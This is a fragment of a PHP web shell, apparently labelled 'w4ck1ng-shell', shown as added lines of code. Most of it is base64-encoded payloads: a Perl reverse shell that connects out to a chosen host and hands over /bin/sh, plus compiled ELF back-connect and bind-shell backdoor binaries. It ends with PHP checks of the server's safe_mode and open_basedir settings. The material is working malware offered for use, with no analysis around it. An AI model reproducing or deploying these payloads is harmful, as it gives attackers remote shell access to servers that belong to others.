AAAAiEBAgAAAAAAwAHAAAAAAAohAQIAAAAAAMACAAAAAAAMIQECAAAAAADAAkAAAAAALCEBAgAAAAAAwAKAAAAAADIhAQIAAAAAAMACwAAAAAA2IUECAAAAAADAAwAAAAAANCIBAgAAAAAAwANAAAAAADsiAQIAAAAAAMADgAAAAAAKIkECAAAAAADAA8AAAAAACyZBAgAAAAAAwAQAAAAAAA0mQQIAAAAAAMAEQAAAAAAPJkECAAAAAADABIAAAAAAECZBAgAAAAAAwATAAAAAAAImgQIAAAAAAMAFAAAAAAADJoECAAAAAADABUAAAAAAFiaBAgAAAAAAwAWAAAAAABkmgQIAAAAAAMAFwAAAAAAAAAAAAAAAAADABgAAAAAAAAAAAAAAAAAAwAZAAAAAAAAAAAAAAAAAAMAGgAAAAAAAAAAAAAAAAADABsAAQAAAPyFBAgAAAAAAgAMABEAAAAAAAAAAAAAAAQA8f8cAAAALJkECAAAAAABABAAKgAAADSZBAgAAAAAAQARADgAAAA8mQQIAAAAAAEAEgBFAAAAYJoECAAAAAABABYASQAAAGSaBAgBAAAAAQAXAFUAAAAghgQIAAAAAAIADABrAAAAVIYECAAAAAACAAwAEQAAAAAAAAAAAAAABADx/3cAAAAwmQQIAAAAAAEAEACEAAAAOJkECAAAAAABABEAkQAAACiJBAgAAAAAAQAPAJ8AAAA8mQQIAAAAAAEAEgCrAAAArIgECAAAAAACAAwAwQAAAAAAAAAAAAAABADx/8gAAAAAAAAAHAEAABIAAADZAAAAQJkECAAAAAARABMA4gAAAAAAAABxAAAAEgAAAPMAAADsiAQIBAAAABEADgD6AAAAAAAAAAsCAAASAAAADAEAACyZBAgAAAAAEALx/x0BAABcmgQIAAAAABECFgAqAQAAaIgECEIAAAASAAwAOgEAAAAAAAB9AAAAEgAAAEwBAACwhAQIAAAAABIACgBSAQAAAAAAAKwBAAASAAAAZAEAANiFBAgAAAAAEgAMAGsBAAAAAAAArwAAABIAAAB9AQAALJkECAAAAAAQAvH/kAEAABSIBAhSAAAAEgAMAKABAAAAAAAAJwAAABIAAAC1AQAAZJoECAAAAAAQAPH/wQEAAICGBAiTAQAAEgAMAMYBAAAAAAAA3QAAABIAAADjAQAALJkECAAAAAAQAvH/9AEAAAAAAAA6AAAAEgAAAAQCAAAAAAAAqgEAABIAAAAWAgAAWJoECAAAAAAgABYAIQIAANCIBAgAAAAAEgANACcCAAAsmQQIAAAAABAC8f87AgAAAAAAADYAAAASAAAATAIAAAAAAADZAAAAEgAAAFwCAAAAAAAAKAAAABIAAABsAgAAZJoECAAAAAAQAPH/cwIAAAyaBAgAAAAAEQAVAIkCAABomgQIAAAAABAA8f+OAgAAAAAAAA4AAAASAAAAnwIAAAAAAAB4AAAAEgAAALICAAAsmQQIAAAAABAC8f/FAgAA8IgECAQAAAARAA4A1AIAAFiaBAgAAAAAEAAWAOECAAAAAAAAOQAAABIAAADzAgAAAAAAAAAAAAAgAAAABwMAACyZBAgAAAAAEALx/x0DAAAAAAAAAAAAACAAAAAAY2FsbF9nbW9uX3N0YXJ0AGNydHN0dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1JfTElTVF9fAF9fSkNSX0xJU1RfXwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4AGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pDUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgAYmFjay5jAGV4ZWNsQEBHTElCQ18yLjAAX0RZTkFNSUMAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAX19maW5pX2FycmF5X2VuZABfX2Rzb19oYW5kbGUAX19saWJjX2NzdV9maW5pAHN5c3RlbUBAR0xJQkNfMi4wAF9pbml0AGRhZW1vbkBAR0xJQkNfMi4wAF9zdGFydABzdHJsZW5AQEdMSUJDXzIuMABfX2ZpbmlfYXJyYXlfc3RhcnQAX19saWJjX2NzdV9pbml0AGluZXRfYWRkckBAR0xJQkNfMi4wAF9fYnNzX3N0YXJ0AG1haW4AX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfZW5kAGR1cDJAQEdMSUJDXzIuMABzdHJjYXRAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AF9maW5pAF9fcHJlaW5pdF9hcnJheV9lbmQAYnplcm9AQEdMSUJDXzIuMABleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2VuZABodG9uc0BAR0xJQkNfMi4wAGNvbm5lY3RAQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfc3RhcnQAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZ21vbl9zdGFydF9fAA=="; + +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiOyc7DQokc3lzdGVtMT0gJ2VjaG8gImBpZGAiOyc7DQokc3lzdGVtMj0gJ2VjaG8gImBwd2RgIjsnOw0KJHN5c3RlbTM9ICdlY2hvICJgd2hvYW1pYEBgaG9zdG5hbWVgOn4gPiI7JzsNCiRzeXN0ZW00PSAnL2Jpbi9zaCc7DQokMD0kY21kOw0KJHRhcmdldD0kQVJHVlswXTsNCiRwb3J0PSRBUkdWWzFdOw0KJGlhZGRyPWluZXRfYXRvbigkdGFyZ2V0KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuXG46OiB3NGNrMW5nLXNoZWxsIChQcml2YXRlIEJ1aWxkIHYwLjMpIHJldmVyc2Ugc2hlbGwgOjpcblxuIjsNCnByaW50ICJcblN5c3RlbSBJbmZvOiAiOyANCnN5c3RlbSgkc3lzdGVtKTsNCnByaW50ICJcbllvdXIgSUQ6ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkN1cnJlbnQgRGlyZWN0b3J5OiAiOyANCnN5c3RlbSgkc3lzdGVtMik7DQpwcmludCAiXG4iOw0Kc3lzdGVtKCRzeXN0ZW0zKTsgc3lzdGVtKCRzeXN0ZW00KTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + +$backdoor="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A"; + + +$safe_mode=(@ini_get("safe_mode")=='')?"OFF":"ON"; +$open_basedir=(@ini_get("open_basedir")=='')?"OFF":"ON"; + + + + 